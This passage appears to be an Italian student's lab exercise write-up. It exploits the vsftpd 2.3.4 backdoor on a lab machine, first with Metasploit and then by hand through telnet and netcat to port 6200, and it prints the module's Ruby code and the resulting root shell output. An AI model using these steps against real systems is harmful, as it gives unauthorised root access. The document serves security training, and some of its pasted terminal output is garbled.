

Con il comando "use" ho abilitato l'exploit da utilizzare e con "show options" ho visto le opzioni di configurazione richieste. In questo caso è obbligatorio configurare l'indirizzo della macchina target e la porta di destinazione. La porta di destinazione è già configurata, manca solo l'indirizzo IP della macchina target.

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies     Proxies            no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs
EPICODE e... W7D1prova... W7D1eserc... .metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  PAYLOAD    PAYLOAD          yes       The payload to execute

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

```

Come richiesto, ho configurato la macchina target e per sicurezza anche la porta di destinazione, che è la porta di default del servizio vsftpd e poi ho cercato eventuali payload da aggiungere con "show payloads".

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

```

Ho impostato l'unico payload disponibile con "set payload" seguito dal path dell'unico payload disponibile ed ho controllato con "show options" se erano necessarie delle eventuali configurazioni aggiuntive. Alla fine non erano richieste altre configurazioni.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  payload/cmd/unix/interact                normal         No    Unix Command
, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name          Current Setting  Required  Description
--          -
CHOST          no              no        The local client address
CPORT          no              no        The local client port
Proxies        no              no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS         192.168.1.149   yes       The target host(s), see https://docs.metasploi
               t/basics/using-metasploit.html
RPORT          21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name          Current Setting  Required  Description
--          -
Exploit target:

Id  Name
--  -
0   Automatic
```

A questo punto ho lanciato l'exploit con il comando "exploit" ed ho verificato che l'exploit sia andato a buon fine, creando tramite la shell sul sistema remoto una cartella chiamata "test_metasploit", come richiesto nella consegna dell'esercizio.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:39059 -> 192.168.1.149:6200) at 2024-08-29 14:30:54 -0400

pwd
/
mkdir test_metasploit
cd /test_metasploit
pwd
/test_metasploit
```

Esercizio facoltativo

Con il comando "edit" ho analizzato il codice dell'exploit utilizzato nell'esercizio precedente per attaccare ed ho notato alcuni elementi utili, come :) per lo username e la porta 6200.

```
kali@kali: ~  
File Actions Edit View Help  
def exploit  
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil  
    if nsock  
        print_status("The port used by the backdoor bind listener is already op  
en")  
        handle_backdoor(nsock)  
        return  
    end  
  
    # Connect to the FTP service port first  
    connect  
  
    banner = sock.get_once(-1, 30).to_s  
    print_status("Banner: #{banner.strip}")  
  
    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")  
    resp = sock.get_once(-1, 30).to_s  
    print_status("USER: #{resp.strip}")  
  
    if resp =~ /^530 /  
        print_error("This server is configured for anonymous only and the backd  
oor code cannot be reached")  
        disconnect  
        return  
    end  
  
    if resp !~ /^331 /  
        print_error("This server did not respond as expected: #{resp.strip}")  
        disconnect  
        return  
    end  
  
    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")  
  
    # Do not bother reading the response from password, just try the backdoor  
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil  
    if nsock  
        print_good("Backdoor service has been spawned, handling... ")  
        handle_backdoor(nsock)  
    end  
end
```

A questo punto ho avviato una sessione telnet sulla porta 21, inserendo poi come username uno username a caso che termina con :) e una password a caso.

```
kali@kali: ~  
File Actions Edit View Help  
  
(kali@kali)-[~]  
$ telnet 192.168.1.149 21  
Trying 192.168.1.149 ...  
Connected to 192.168.1.149.  
Escape character is '^]'.  
220 (vsFTPd 2.3.4)  
username :  
530 Please login with USER and PASS.  
USER Maria:)  
331 Please specify the password.  
PASS password
```

Viene dunque avviata una shell remota che ho testato collegandomi con nc sulla porta 6200, vista nel codice da analizzare. L'exploit è dunque andato a buon fine anche senza utilizzare metasploit.



kali@kali: ~

File Actions Edit View Help

(kali@kali)-[~]
\$ nc 192.168.1.149 6200

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

